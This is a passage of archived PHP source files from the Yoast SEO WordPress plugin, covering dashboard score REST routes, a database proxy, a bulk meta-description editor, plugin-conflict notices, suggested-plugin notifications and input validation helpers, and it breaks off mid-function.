// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
namespace Yoast\WP\SEO\Dashboard\User_Interface\Scores;

use Yoast\WP\SEO\Dashboard\Application\Score_Results\Readability_Score_Results\Readability_Score_Results_Repository;

/**
 * Registers a route to get readability scores.
 */
class Readability_Scores_Route extends Abstract_Scores_Route {

	/**
	 * The prefix of the route.
	 *
	 * @var string
	 */
	public const ROUTE_PREFIX = '/readability_scores';

	/**
	 * Constructs the class.
	 *
	 * @param Readability_Score_Results_Repository $readability_score_results_repository The readability score results repository.
	 */
	public function __construct(
		Readability_Score_Results_Repository $readability_score_results_repository
	) {
		$this->score_results_repository = $readability_score_results_repository;
	}
}
wordpress-seo/src/dashboard/user-interface/scores/abstract-scores-route.php000064400000016224147510273100023261 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
namespace Yoast\WP\SEO\Dashboard\User_Interface\Scores;

use Exception;
use WP_REST_Request;
use WP_REST_Response;
use WPSEO_Capability_Utils;
use Yoast\WP\SEO\Conditionals\No_Conditionals;
use Yoast\WP\SEO\Dashboard\Application\Score_Results\Abstract_Score_Results_Repository;
use Yoast\WP\SEO\Dashboard\Application\Taxonomies\Taxonomies_Repository;
use Yoast\WP\SEO\Dashboard\Domain\Content_Types\Content_Type;
use Yoast\WP\SEO\Dashboard\Domain\Taxonomies\Taxonomy;
use Yoast\WP\SEO\Dashboard\Infrastructure\Content_Types\Content_Types_Collector;
use Yoast\WP\SEO\Main;
use Yoast\WP\SEO\Repositories\Indexable_Repository;
use Yoast\WP\SEO\Routes\Route_Interface;

/**
 * Abstract scores route.
 */
abstract class Abstract_Scores_Route implements Route_Interface {

	use No_Conditionals;

	/**
	 * The namespace of the rout.
	 *
	 * @var string
	 */
	public const ROUTE_NAMESPACE = Main::API_V1_NAMESPACE;

	/**
	 * The prefix of the rout.
	 *
	 * @var string
	 */
	public const ROUTE_PREFIX = null;

	/**
	 * The content types collector.
	 *
	 * @var Content_Types_Collector
	 */
	protected $content_types_collector;

	/**
	 * The taxonomies repository.
	 *
	 * @var Taxonomies_Repository
	 */
	protected $taxonomies_repository;

	/**
	 * The indexable repository.
	 *
	 * @var Indexable_Repository
	 */
	protected $indexable_repository;

	/**
	 * The scores repository.
	 *
	 * @var Abstract_Score_Results_Repository
	 */
	protected $score_results_repository;

	/**
	 * Sets the collectors.
	 *
	 * @required
	 *
	 * @param Content_Types_Collector $content_types_collector The content type collector.
	 *
	 * @return void
	 */
	public function set_collectors(
		Content_Types_Collector $content_types_collector
	) {
		$this->content_types_collector = $content_types_collector;
	}

	/**
	 * Sets the repositories.
	 *
	 * @required
	 *
	 * @param Taxonomies_Repository $taxonomies_repository The taxonomies repository.
	 * @param Indexable_Repository  $indexable_repository  The indexable repository.
	 *
	 * @return void
	 */
	public function set_repositories(
		Taxonomies_Repository $taxonomies_repository,
		Indexable_Repository $indexable_repository
	) {
		$this->taxonomies_repository = $taxonomies_repository;
		$this->indexable_repository  = $indexable_repository;
	}

	/**
	 * Returns the route prefix.
	 *
	 * @return string The route prefix.
	 *
	 * @throws Exception If the ROUTE_PREFIX constant is not set in the child class.
	 */
	public static function get_route_prefix() {
		$class  = static::class;
		$prefix = $class::ROUTE_PREFIX;

		if ( $prefix === null ) {
			throw new Exception( 'Score route without explicit prefix' );
		}

		return $prefix;
	}

	/**
	 * Registers routes for scores.
	 *
	 * @return void
	 */
	public function register_routes() {
		\register_rest_route(
			self::ROUTE_NAMESPACE,
			$this->get_route_prefix(),
			[
				[
					'methods'             => 'GET',
					'callback'            => [ $this, 'get_scores' ],
					'permission_callback' => [ $this, 'permission_manage_options' ],
					'args'                => [
						'contentType' => [
							'required'          => true,
							'type'              => 'string',
							'sanitize_callback' => 'sanitize_text_field',
						],
						'taxonomy' => [
							'required'          => false,
							'type'              => 'string',
							'default'           => '',
							'sanitize_callback' => 'sanitize_text_field',
						],
						'term' => [
							'required'          => false,
							'type'              => 'integer',
							'default'           => null,
							'sanitize_callback' => static function ( $param ) {
								return \intval( $param );
							},
						],
						'troubleshooting' => [
							'required'          => false,
							'type'              => 'bool',
							'default'           => null,
							'sanitize_callback' => 'rest_sanitize_boolean',
						],
					],
				],
			]
		);
	}

	/**
	 * Gets the scores of a specific content type.
	 *
	 * @param WP_REST_Request $request The request object.
	 *
	 * @return WP_REST_Response The success or failure response.
	 */
	public function get_scores( WP_REST_Request $request ) {
		try {
			$content_type = $this->get_content_type( $request['contentType'] );
			$taxonomy     = $this->get_taxonomy( $request['taxonomy'], $content_type );
			$term_id      = $this->get_validated_term_id( $request['term'], $taxonomy );

			$results = $this->score_results_repository->get_score_results( $content_type, $taxonomy, $term_id, $request['troubleshooting'] );
		} catch ( Exception $exception ) {
			return new WP_REST_Response(
				[
					'error' => $exception->getMessage(),
				],
				$exception->getCode()
			);
		}

		return new WP_REST_Response(
			$results,
			200
		);
	}

	/**
	 * Gets the content type object.
	 *
	 * @param string $content_type The content type.
	 *
	 * @return Content_Type|null The content type object.
	 *
	 * @throws Exception When the content type is invalid.
	 */
	protected function get_content_type( string $content_type ): ?Content_Type {
		$content_types = $this->content_types_collector->get_content_types()->get();

		if ( isset( $content_types[ $content_type ] ) && \is_a( $content_types[ $content_type ], Content_Type::class ) ) {
			return $content_types[ $content_type ];
		}

		throw new Exception( 'Invalid content type.', 400 );
	}

	/**
	 * Gets the taxonomy object.
	 *
	 * @param string       $taxonomy     The taxonomy.
	 * @param Content_Type $content_type The content type that the taxonomy is filtering.
	 *
	 * @return Taxonomy|null The taxonomy object.
	 *
	 * @throws Exception When the taxonomy is invalid.
	 */
	protected function get_taxonomy( string $taxonomy, Content_Type $content_type ): ?Taxonomy {
		if ( $taxonomy === '' ) {
			return null;
		}

		$valid_taxonomy = $this->taxonomies_repository->get_content_type_taxonomy( $content_type->get_name() );

		if ( $valid_taxonomy && $valid_taxonomy->get_name() === $taxonomy ) {
			return $valid_taxonomy;
		}

		throw new Exception( 'Invalid taxonomy.', 400 );
	}

	/**
	 * Gets the term ID validated against the given taxonomy.
	 *
	 * @param int|null      $term_id  The term ID to be validated.
	 * @param Taxonomy|null $taxonomy The taxonomy.
	 *
	 * @return bool The validated term ID.
	 *
	 * @throws Exception When the term id is invalidated.
	 */
	protected function get_validated_term_id( ?int $term_id, ?Taxonomy $taxonomy ): ?int {
		if ( $term_id !== null && $taxonomy === null ) {
			throw new Exception( 'Term needs a provided taxonomy.', 400 );
		}

		if ( $term_id === null && $taxonomy !== null ) {
			throw new Exception( 'Taxonomy needs a provided term.', 400 );
		}

		if ( $term_id !== null ) {
			$term = \get_term( $term_id );
			if ( ! $term || \is_wp_error( $term ) ) {
				throw new Exception( 'Invalid term.', 400 );
			}

			if ( $taxonomy !== null && $term->taxonomy !== $taxonomy->get_name() ) {
				throw new Exception( 'Invalid term.', 400 );
			}
		}

		return $term_id;
	}

	/**
	 * Permission callback.
	 *
	 * @return bool True when user has the 'wpseo_manage_options' capability.
	 */
	public function permission_manage_options() {
		return WPSEO_Capability_Utils::current_user_can( 'wpseo_manage_options' );
	}
}
wordpress-seo/src/dashboard/user-interface/scores/seo-scores-route.php000064400000001417147510273100022242 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
namespace Yoast\WP\SEO\Dashboard\User_Interface\Scores;

use Yoast\WP\SEO\Dashboard\Application\Score_Results\SEO_Score_Results\SEO_Score_Results_Repository;

/**
 * Registers a route to get SEO scores.
 */
class SEO_Scores_Route extends Abstract_Scores_Route {

	/**
	 * The prefix of the route.
	 *
	 * @var string
	 */
	public const ROUTE_PREFIX = '/seo_scores';

	/**
	 * Constructs the class.
	 *
	 * @param SEO_Score_Results_Repository $seo_score_results_repository The SEO score results repository.
	 */
	public function __construct(
		SEO_Score_Results_Repository $seo_score_results_repository
	) {
		$this->score_results_repository = $seo_score_results_repository;
	}
}
wordpress-seo/admin/class-database-proxy.php000064400000017004147510273100015211 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin
 */

/**
 * Represents the proxy for communicating with the database.
 */
class WPSEO_Database_Proxy {

	/**
	 * Holds the table name.
	 *
	 * @var string
	 */
	protected $table_name;

	/**
	 * Determines whether to suppress errors or not.
	 *
	 * @var bool
	 */
	protected $suppress_errors = true;

	/**
	 * Determines if this table is multisite.
	 *
	 * @var bool
	 */
	protected $is_multisite_table = false;

	/**
	 * Holds the last suppressed state.
	 *
	 * @var bool
	 */
	protected $last_suppressed_state;

	/**
	 * Holds the WordPress database object.
	 *
	 * @var wpdb
	 */
	protected $database;

	/**
	 * Holds the table prefix.
	 *
	 * @var string
	 */
	protected $table_prefix;

	/**
	 * Sets the class attributes and registers the table.
	 *
	 * @param wpdb   $database           The database object.
	 * @param string $table_name         The table name that is represented.
	 * @param bool   $suppress_errors    Should the errors be suppressed.
	 * @param bool   $is_multisite_table Should the table be global in multisite.
	 */
	public function __construct( $database, $table_name, $suppress_errors = true, $is_multisite_table = false ) {
		$this->table_name         = $table_name;
		$this->suppress_errors    = (bool) $suppress_errors;
		$this->is_multisite_table = (bool) $is_multisite_table;
		$this->database           = $database;

		// If the table prefix was provided, strip it as it's handled automatically.
		$table_prefix = $this->get_table_prefix();
		if ( ! empty( $table_prefix ) && strpos( $this->table_name, $table_prefix ) === 0 ) {
			$this->table_prefix = substr( $this->table_name, strlen( $table_prefix ) );
		}

		if ( ! $this->is_table_registered() ) {
			$this->register_table();
		}
	}

	/**
	 * Inserts data into the database.
	 *
	 * @param array             $data   Data to insert.
	 * @param array|string|null $format Formats for the data.
	 *
	 * @return false|int Total amount of inserted rows or false on error.
	 */
	public function insert( array $data, $format = null ) {
		$this->pre_execution();

		$result = $this->database->insert( $this->get_table_name(), $data, $format );

		$this->post_execution();

		return $result;
	}

	/**
	 * Updates data in the database.
	 *
	 * @param array             $data         Data to update on the table.
	 * @param array             $where        Where condition as key => value array.
	 * @param array|string|null $format       Optional. Data prepare format.
	 * @param array|string|null $where_format Optional. Where prepare format.
	 *
	 * @return false|int False when the update request is invalid, int on number of rows changed.
	 */
	public function update( array $data, array $where, $format = null, $where_format = null ) {
		$this->pre_execution();

		$result = $this->database->update( $this->get_table_name(), $data, $where, $format, $where_format );

		$this->post_execution();

		return $result;
	}

	/**
	 * Upserts data in the database.
	 *
	 * Performs an insert into and if key is duplicate it will update the existing record.
	 *
	 * @param array             $data         Data to update on the table.
	 * @param array|null        $where        Unused. Where condition as key => value array.
	 * @param array|string|null $format       Optional. Data prepare format.
	 * @param array|string|null $where_format Optional. Where prepare format.
	 *
	 * @return false|int False when the upsert request is invalid, int on number of rows changed.
	 */
	public function upsert( array $data, ?array $where = null, $format = null, $where_format = null ) {
		if ( $where_format !== null ) {
			_deprecated_argument( __METHOD__, '7.7.0', 'The where_format argument is deprecated' );
		}

		$this->pre_execution();

		$update  = [];
		$keys    = [];
		$columns = array_keys( $data );
		foreach ( $columns as $column ) {
			$keys[]   = '`' . $column . '`';
			$update[] = sprintf( '`%1$s` = VALUES(`%1$s`)', $column );
		}

		$query = sprintf(
			'INSERT INTO `%1$s` (%2$s) VALUES ( %3$s ) ON DUPLICATE KEY UPDATE %4$s',
			$this->get_table_name(),
			implode( ', ', $keys ),
			implode( ', ', array_fill( 0, count( $data ), '%s' ) ),
			implode( ', ', $update )
		);

		$result = $this->database->query(
			$this->database->prepare(
				$query,
				array_values( $data )
			)
		);

		$this->post_execution();

		return $result;
	}

	/**
	 * Deletes a record from the database.
	 *
	 * @param array             $where  Where clauses for the query.
	 * @param array|string|null $format Formats for the data.
	 *
	 * @return false|int
	 */
	public function delete( array $where, $format = null ) {
		$this->pre_execution();

		$result = $this->database->delete( $this->get_table_name(), $where, $format );

		$this->post_execution();

		return $result;
	}

	/**
	 * Executes the given query and returns the results.
	 *
	 * @param string $query The query to execute.
	 *
	 * @return array|object|null The resultset
	 */
	public function get_results( $query ) {
		$this->pre_execution();

		$results = $this->database->get_results( $query );

		$this->post_execution();

		return $results;
	}

	/**
	 * Creates a table to the database.
	 *
	 * @param array $columns The columns to create.
	 * @param array $indexes The indexes to use.
	 *
	 * @return bool True when creation is successful.
	 */
	public function create_table( array $columns, array $indexes = [] ) {
		$create_table = sprintf(
			'CREATE TABLE IF NOT EXISTS %1$s ( %2$s ) %3$s',
			$this->get_table_name(),
			implode( ',', array_merge( $columns, $indexes ) ),
			$this->database->get_charset_collate()
		);

		$this->pre_execution();

		$is_created = (bool) $this->database->query( $create_table );

		$this->post_execution();

		return $is_created;
	}

	/**
	 * Checks if there is an error.
	 *
	 * @return bool Returns true when there is an error.
	 */
	public function has_error() {
		return ( $this->database->last_error !== '' );
	}

	/**
	 * Executed before a query will be ran.
	 *
	 * @return void
	 */
	protected function pre_execution() {
		if ( $this->suppress_errors ) {
			$this->last_suppressed_state = $this->database->suppress_errors();
		}
	}

	/**
	 * Executed after a query has been ran.
	 *
	 * @return void
	 */
	protected function post_execution() {
		if ( $this->suppress_errors ) {
			$this->database->suppress_errors( $this->last_suppressed_state );
		}
	}

	/**
	 * Returns the full table name.
	 *
	 * @return string Full table name including prefix.
	 */
	public function get_table_name() {
		return $this->get_table_prefix() . $this->table_name;
	}

	/**
	 * Returns the prefix to use for the table.
	 *
	 * @return string The table prefix depending on the database context.
	 */
	protected function get_table_prefix() {
		if ( $this->is_multisite_table ) {
			return $this->database->base_prefix;
		}

		return $this->database->get_blog_prefix();
	}

	/**
	 * Registers the table with WordPress.
	 *
	 * @return void
	 */
	protected function register_table() {
		$table_name      = $this->table_name;
		$full_table_name = $this->get_table_name();

		$this->database->$table_name = $full_table_name;

		if ( $this->is_multisite_table ) {
			$this->database->ms_global_tables[] = $table_name;
			return;
		}

		$this->database->tables[] = $table_name;
	}

	/**
	 * Checks if the table has been registered with WordPress.
	 *
	 * @return bool True if the table is registered, false otherwise.
	 */
	protected function is_table_registered() {
		if ( $this->is_multisite_table ) {
			return in_array( $this->table_name, $this->database->ms_global_tables, true );
		}

		return in_array( $this->table_name, $this->database->tables, true );
	}
}
wordpress-seo/admin/class-bulk-description-editor-list-table.php000064400000004064147510273100021070 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\Bulk Editor
 * @since   1.5.0
 */

/**
 * Implements table for bulk description editing.
 */
class WPSEO_Bulk_Description_List_Table extends WPSEO_Bulk_List_Table {

	/**
	 * Current type for this class will be (meta) description.
	 *
	 * @var string
	 */
	protected $page_type = 'description';

	/**
	 * Settings with are used in __construct.
	 *
	 * @var array
	 */
	protected $settings = [
		'singular' => 'wpseo_bulk_description',
		'plural'   => 'wpseo_bulk_descriptions',
		'ajax'     => true,
	];

	/**
	 * The field in the database where meta field is saved.
	 *
	 * @var string
	 */
	protected $target_db_field = 'metadesc';

	/**
	 * The columns shown on the table.
	 *
	 * @return array
	 */
	public function get_columns() {
		$columns = [
			'col_existing_yoast_seo_metadesc' => __( 'Existing Yoast Meta Description', 'wordpress-seo' ),
			'col_new_yoast_seo_metadesc'      => __( 'New Yoast Meta Description', 'wordpress-seo' ),
		];

		return $this->merge_columns( $columns );
	}

	/**
	 * Parse the metadescription.
	 *
	 * @param string $column_name Column name.
	 * @param object $record      Data object.
	 * @param string $attributes  HTML attributes.
	 *
	 * @return string
	 */
	protected function parse_page_specific_column( $column_name, $record, $attributes ) {
		switch ( $column_name ) {
			case 'col_new_yoast_seo_metadesc':
				return sprintf(
					'<textarea id="%1$s" name="%1$s" class="wpseo-new-metadesc" data-id="%2$s" aria-labelledby="col_new_yoast_seo_metadesc"></textarea>',
					esc_attr( 'wpseo-new-metadesc-' . $record->ID ),
					esc_attr( $record->ID )
				);

			case 'col_existing_yoast_seo_metadesc':
				// @todo Inconsistent return/echo behavior R.
				// I traced the escaping of the attributes to WPSEO_Bulk_List_Table::column_attributes. Alexander.
				// The output of WPSEO_Bulk_List_Table::parse_meta_data_field is properly escaped.
				// phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped
				echo $this->parse_meta_data_field( $record->ID, $attributes );
				break;
		}
	}
}
wordpress-seo/admin/class-plugin-conflict.php000064400000010055147510273100015362 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin
 * @since   1.7.0
 */

use Yoast\WP\SEO\Config\Conflicting_Plugins;

/**
 * Contains list of conflicting plugins.
 */
class WPSEO_Plugin_Conflict extends Yoast_Plugin_Conflict {

	/**
	 * The plugins must be grouped per section.
	 *
	 * It's possible to check for each section if there are conflicting plugin.
	 *
	 * NOTE: when changing this array, be sure to update the array in Conflicting_Plugins_Service too.
	 *
	 * @var array<string, array<string>>
	 */
	protected $plugins = [
		// The plugin which are writing OG metadata.
		'open_graph'   => Conflicting_Plugins::OPEN_GRAPH_PLUGINS,
		'xml_sitemaps' => Conflicting_Plugins::XML_SITEMAPS_PLUGINS,
		'cloaking'     => Conflicting_Plugins::CLOAKING_PLUGINS,
		'seo'          => Conflicting_Plugins::SEO_PLUGINS,
	];

	/**
	 * Overrides instance to set with this class as class.
	 *
	 * @param string $class_name Optional class name.
	 *
	 * @return Yoast_Plugin_Conflict
	 */
	public static function get_instance( $class_name = self::class ) {
		return parent::get_instance( $class_name );
	}

	/**
	 * After activating any plugin, this method will be executed by a hook.
	 *
	 * If the activated plugin is conflicting with ours a notice will be shown.
	 *
	 * @param string|bool $plugin Optional plugin basename to check.
	 *
	 * @return void
	 */
	public static function hook_check_for_plugin_conflicts( $plugin = false ) {
		// The instance of the plugin.
		$instance = self::get_instance();

		// Only add the plugin as an active plugin if $plugin isn't false.
		if ( $plugin && is_string( $plugin ) ) {
			$instance->add_active_plugin( $instance->find_plugin_category( $plugin ), $plugin );
		}

		$plugin_sections = [];

		// Only check for open graph problems when they are enabled.
		if ( WPSEO_Options::get( 'opengraph' ) ) {
			/* translators: %1$s expands to Yoast SEO, %2$s: 'Facebook' plugin name of possibly conflicting plugin with regard to creating OpenGraph output. */
			$plugin_sections['open_graph'] = __( 'Both %1$s and %2$s create Open Graph output, which might make Facebook, X, LinkedIn and other social networks use the wrong texts and images when your pages are being shared.', 'wordpress-seo' )
				. '<br/><br/>'
				. '<a class="button" href="' . admin_url( 'admin.php?page=wpseo_page_settings#/site-features#card-wpseo_social-opengraph' ) . '">'
				/* translators: %1$s expands to Yoast SEO. */
				. sprintf( __( 'Configure %1$s\'s Open Graph settings', 'wordpress-seo' ), 'Yoast SEO' )
				. '</a>';
		}

		// Only check for XML conflicts if sitemaps are enabled.
		if ( WPSEO_Options::get( 'enable_xml_sitemap' ) ) {
			/* translators: %1$s expands to Yoast SEO, %2$s: 'Google XML Sitemaps' plugin name of possibly conflicting plugin with regard to the creation of sitemaps. */
			$plugin_sections['xml_sitemaps'] = __( 'Both %1$s and %2$s can create XML sitemaps. Having two XML sitemaps is not beneficial for search engines and might slow down your site.', 'wordpress-seo' )
				. '<br/><br/>'
				. '<a class="button" href="' . admin_url( 'admin.php?page=wpseo_page_settings#/site-features#card-wpseo-enable_xml_sitemap' ) . '">'
				/* translators: %1$s expands to Yoast SEO. */
				. sprintf( __( 'Toggle %1$s\'s XML Sitemap', 'wordpress-seo' ), 'Yoast SEO' )
				. '</a>';
		}

		/* translators: %2$s expands to 'RS Head Cleaner' plugin name of possibly conflicting plugin with regard to differentiating output between search engines and normal users. */
		$plugin_sections['cloaking'] = __( 'The plugin %2$s changes your site\'s output and in doing that differentiates between search engines and normal users, a process that\'s called cloaking. We highly recommend that you disable it.', 'wordpress-seo' );

		/* translators: %1$s expands to Yoast SEO, %2$s: 'SEO' plugin name of possibly conflicting plugin with regard to the creation of duplicate SEO meta. */
		$plugin_sections['seo'] = __( 'Both %1$s and %2$s manage the SEO of your site. Running two SEO plugins at the same time is detrimental.', 'wordpress-seo' );

		$instance->check_plugin_conflicts( $plugin_sections );
	}
}
wordpress-seo/admin/exceptions/class-file-size-exception.php000064400000002102147510273100020323 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin\Exceptions
 */

/**
 * Represents named methods for exceptions.
 */
class WPSEO_File_Size_Exception extends Exception {

	/**
	 * Gets the exception for an externally hosted file.
	 *
	 * @param string $file_url The file url.
	 *
	 * @return WPSEO_File_Size_Exception Instance of the exception.
	 */
	public static function externally_hosted( $file_url ) {
		$message = sprintf(
			/* translators: %1$s expands to the requested url */
			__( 'Cannot get the size of %1$s because it is hosted externally.', 'wordpress-seo' ),
			$file_url
		);

		return new self( $message );
	}

	/**
	 * Gets the exception for when a unknown error occurs.
	 *
	 * @param string $file_url The file url.
	 *
	 * @return WPSEO_File_Size_Exception Instance of the exception.
	 */
	public static function unknown_error( $file_url ) {
		$message = sprintf(
			/* translators: %1$s expands to the requested url */
			__( 'Cannot get the size of %1$s because of unknown reasons.', 'wordpress-seo' ),
			$file_url
		);

		return new self( $message );
	}
}
wordpress-seo/admin/class-suggested-plugins.php000064400000010515147510273100015737 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Suggested_Plugins
 */

use Yoast\WP\SEO\Conditionals\Conditional;

/**
 * Class WPSEO_Suggested_Plugins
 */
class WPSEO_Suggested_Plugins implements WPSEO_WordPress_Integration {

	/**
	 * Holds the availability checker.
	 *
	 * @var WPSEO_Plugin_Availability
	 */
	protected $availability_checker;

	/**
	 * Holds the notification center.
	 *
	 * @var Yoast_Notification_Center
	 */
	protected $notification_center;

	/**
	 * WPSEO_Suggested_Plugins constructor.
	 *
	 * @param WPSEO_Plugin_Availability $availability_checker The availability checker to use.
	 * @param Yoast_Notification_Center $notification_center  The notification center to add notifications to.
	 */
	public function __construct( WPSEO_Plugin_Availability $availability_checker, Yoast_Notification_Center $notification_center ) {
		$this->availability_checker = $availability_checker;
		$this->notification_center  = $notification_center;
	}

	/**
	 * Registers all hooks to WordPress.
	 *
	 * @return void
	 */
	public function register_hooks() {
		add_action( 'admin_init', [ $this->availability_checker, 'register' ] );
		add_action( 'admin_init', [ $this, 'add_notifications' ] );
	}

	/**
	 * Adds notifications (when necessary).
	 *
	 * @return void
	 */
	public function add_notifications() {
		$checker = $this->availability_checker;

		// Get all Yoast plugins that have dependencies.
		$plugins = $checker->get_plugins_with_dependencies();

		foreach ( $plugins as $plugin_name => $plugin ) {
			$notification_id = 'wpseo-suggested-plugin-' . $plugin_name;

			if ( ! $checker->dependencies_are_satisfied( $plugin ) ) {
				$this->notification_center->remove_notification_by_id( $notification_id );

				continue;
			}

			if ( ! $checker->is_installed( $plugin ) ) {
				$notification = $this->get_yoast_seo_suggested_plugins_notification( $notification_id, $plugin );
				$this->notification_center->add_notification( $notification );

				continue;
			}

			$this->notification_center->remove_notification_by_id( $notification_id );
		}
	}

	/**
	 * Build Yoast SEO suggested plugins notification.
	 *
	 * @param string                                                $notification_id The id of the notification to be created.
	 * @param array<string, string|bool|array<string, Conditional>> $plugin          The plugin to retrieve the data from.
	 *
	 * @return Yoast_Notification The notification containing the suggested plugin.
	 */
	protected function get_yoast_seo_suggested_plugins_notification( $notification_id, $plugin ) {
		$message = $this->create_install_suggested_plugin_message( $plugin );

		return new Yoast_Notification(
			$message,
			[
				'id'           => $notification_id,
				'type'         => Yoast_Notification::WARNING,
				'capabilities' => [ 'install_plugins' ],
			]
		);
	}

	/**
	 * Creates a message to suggest the installation of a particular plugin.
	 *
	 * @param array $suggested_plugin The suggested plugin.
	 *
	 * @return string The install suggested plugin message.
	 */
	protected function create_install_suggested_plugin_message( $suggested_plugin ) {
		/* translators: %1$s expands to an opening strong tag, %2$s expands to the dependency name, %3$s expands to a closing strong tag, %4$s expands to an opening anchor tag, %5$s expands to a closing anchor tag. */
		$message      = __( 'It looks like you aren\'t using our %1$s%2$s addon%3$s. %4$sUpgrade today%5$s to unlock more tools and SEO features to make your products stand out in search results.', 'wordpress-seo' );
		$install_link = WPSEO_Admin_Utils::get_install_link( $suggested_plugin );

		return sprintf(
			$message,
			'<strong>',
			$install_link,
			'</strong>',
			$this->create_more_information_link( $suggested_plugin['url'], $suggested_plugin['title'] ),
			'</a>'
		);
	}

	/**
	 * Creates a more information link that directs the user to WordPress.org Plugin repository.
	 *
	 * @param string $url  The URL to the plugin's page.
	 * @param string $name The name of the plugin.
	 *
	 * @return string The more information link.
	 */
	protected function create_more_information_link( $url, $name ) {
		return sprintf(
			'<a href="%s" aria-label="%s" target="_blank" rel="noopener noreferrer">',
			$url,
			/* translators: Hidden accessibility text; %1$s expands to the dependency name */
			sprintf( __( 'More information about %1$s', 'wordpress-seo' ), $name )
		);
	}
}
wordpress-seo/admin/class-yoast-input-validation.php000064400000016275147510273100016723 0ustar00<?php
/**
 * WPSEO plugin file.
 *
 * @package WPSEO\Admin
 */

/**
 * Implements server-side user input validation.
 *
 * @since 12.0
 */
class Yoast_Input_Validation {

	/**
	 * The error descriptions.
	 *
	 * @since 12.1
	 *
	 * @var array<string, string>
	 */
	private static $error_descriptions = [];

	/**
	 * Check whether an option group is a Yoast SEO setting.
	 *
	 * The normal pattern is 'yoast' . $option_name . 'options'.
	 *
	 * @since 12.0
	 *
	 * @param string $group_name The option group name.
	 *
	 * @return bool Whether or not it's an Yoast SEO option group.
	 */
	public static function is_yoast_option_group_name( $group_name ) {
		return ( strpos( $group_name, 'yoast' ) !== false );
	}

	/**
	 * Adds an error message to the document title when submitting a settings
	 * form and errors are returned.
	 *
	 * Uses the WordPress `admin_title` filter in the WPSEO_Option subclasses.
	 *
	 * @since 12.0
	 *
	 * @param string $admin_title The page title, with extra context added.
	 *
	 * @return string The modified or original admin title.
	 */
	public static function add_yoast_admin_document_title_errors( $admin_title ) {
		$errors      = get_settings_errors();
		$error_count = 0;

		foreach ( $errors as $error ) {
			// For now, filter the admin title only in the Yoast SEO settings pages.
			if ( self::is_yoast_option_group_name( $error['setting'] ) && $error['code'] !== 'settings_updated' ) {
				++$error_count;
			}
		}

		if ( $error_count > 0 ) {
			return sprintf(
				/* translators: %1$s: amount of errors, %2$s: the admin page title */
				_n( 'The form contains %1$s error. %2$s', 'The form contains %1$s errors. %2$s', $error_count, 'wordpress-seo' ),
				number_format_i18n( $error_count ),
				$admin_title
			);
		}

		return $admin_title;
	}

	/**
	 * Checks whether a specific form input field was submitted with an invalid value.
	 *
	 * @since 12.1
	 *
	 * @param string $error_code Must be the same slug-name used for the field variable and for `add_settings_error()`.
	 *
	 * @return bool Whether or not the submitted input field contained an invalid value.
	 */
	public static function yoast_form_control_has_error( $error_code ) {
		$errors = get_settings_errors();

		foreach ( $errors as $error ) {
			if ( $error['code'] === $error_code ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Sets the error descriptions.
	 *
	 * @since 12.1
	 *
	 * @param array<string, string> $descriptions An associative array of error descriptions.
	 *                            For each entry, the key must be the setting variable.
	 *
	 * @return void
	 *
	 * @deprecated 23.3
	 * @codeCoverageIgnore
	 */
	public static function set_error_descriptions( $descriptions = [] ) { // @phpcs:ignore VariableAnalysis.CodeAnalysis.VariableAnalysis.UnusedVariable, Generic.CodeAnalysis.UnusedFunctionParameter.Found -- Needed for BC.
		_deprecated_function( __METHOD__, 'Yoast SEO 23.3' );
	}

	/**
	 * Gets all the error descriptions.
	 *
	 * @since 12.1
	 *
	 * @deprecated 23.3
	 * @codeCoverageIgnore
	 *
	 * @return array<string, string> An associative array of error descriptions.
	 */
	public static function get_error_descriptions() {
		_deprecated_function( __METHOD__, 'Yoast SEO 23.3' );
		return [];
	}

	/**
	 * Gets a specific error description.
	 *
	 * @since 12.1
	 *
	 * @param string $error_code Code of the error set via `add_settings_error()`, normally the variable name.
	 *
	 * @return string|null The error description.
	 */
	public static function get_error_description( $error_code ) {
		if ( ! isset( self::$error_descriptions[ $error_code ] ) ) {
			return null;
		}

		return self::$error_descriptions[ $error_code ];
	}

	/**
	 * Gets the aria-invalid HTML attribute based on the submitted invalid value.
	 *
	 * @since 12.1
	 *
	 * @param string $error_code Code of the error set via `add_settings_error()`, normally the variable name.
	 *
	 * @return string The aria-invalid HTML attribute or empty string.
	 */
	public static function get_the_aria_invalid_attribute( $error_code ) {
		if ( self::yoast_form_control_has_error( $error_code ) ) {
			return ' aria-invalid="true"';
		}

		return '';
	}

	/**
	 * Gets the aria-describedby HTML attribute based on the submitted invalid value.
	 *
	 * @since 12.1
	 *
	 * @param string $error_code Code of the error set via `add_settings_error()`, normally the variable name.
	 *
	 * @return string The aria-describedby HTML attribute or empty string.
	 */
	public static function get_the_aria_describedby_attribute( $error_code ) {
		if ( self::yoast_form_control_has_error( $error_code ) && self::get_error_description( $error_code ) ) {
			return ' aria-describedby="' . esc_attr( $error_code ) . '-error-description"';
		}

		return '';
	}

	/**
	 * Gets the error description wrapped in a HTML paragraph.
	 *
	 * @since 12.1
	 *
	 * @param string $error_code Code of the error set via `add_settings_error()`, normally the variable name.
	 *
	 * @return string The error description HTML or empty string.
	 */
	public static function get_the_error_description( $error_code ) {
		$error_description = self::get_error_description( $error_code );

		if ( self::yoast_form_control_has_error( $error_code ) && $error_description ) {
			return '<p id="' . esc_attr( $error_code ) . '-error-description" class="yoast-input-validation__error-description">' . $error_description . '</p>';
		}

		return '';
	}

	/**
	 * Adds the submitted invalid value to the WordPress `$wp_settings_errors` global.
	 *
	 * @since 12.1
	 *
	 * @param string $error_code  Code of the error set via `add_settings_error()`, normally the variable name.
	 * @param string $dirty_value The submitted invalid value.
	 *
	 * @return void
	 */
	public static function add_dirty_value_to_settings_errors( $error_code, $dirty_value ) {
		global $wp_settings_errors;

		if ( ! is_array( $wp_settings_errors ) ) {
			return;
		}

		foreach ( $wp_settings_errors as $index => $error ) {
			if ( $error['code'] === $error_code ) {
